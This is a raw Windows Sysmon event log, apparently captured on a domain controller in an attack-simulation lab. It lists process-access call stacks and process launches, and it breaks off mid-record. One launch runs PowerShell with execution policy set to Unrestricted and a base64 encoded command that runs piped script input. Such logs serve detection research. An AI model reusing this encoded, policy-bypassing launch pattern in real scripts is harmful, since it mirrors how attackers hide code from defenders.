09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-2901-5F80-9600-000000007F01}12802884C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA909B68F) 154100x80000000000000003073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.925{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\liw13j1y.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\liw13j1y.cmdline2020-10-09 09:10:25.913 11241100x80000000000000003071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:25.913{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\liw13j1y.dll2020-10-09 09:10:25.913 10341000x80000000000000003070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2901-5F80-9700-000000007F01}3444C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2901-5F80-9700-000000007F01}3444C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.475{A5F018FF-2901-5F80-9600-000000007F01}12802884C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2901-5F80-9700-000000007F01}3444C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd7632ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc04177(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc03e48(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd6b54ad(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcbc49de(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc22ead(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc06512(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc06512(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc063a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcbf8328(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc0485b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc0444e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc04177(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcc03e48(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd6b54ad(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcbeaca9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcbea279(wow64) 154100x80000000000000003058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.487{A5F018FF-2901-5F80-9700-000000007F01}3444C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2901-5F80-9600-000000007F01}1280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 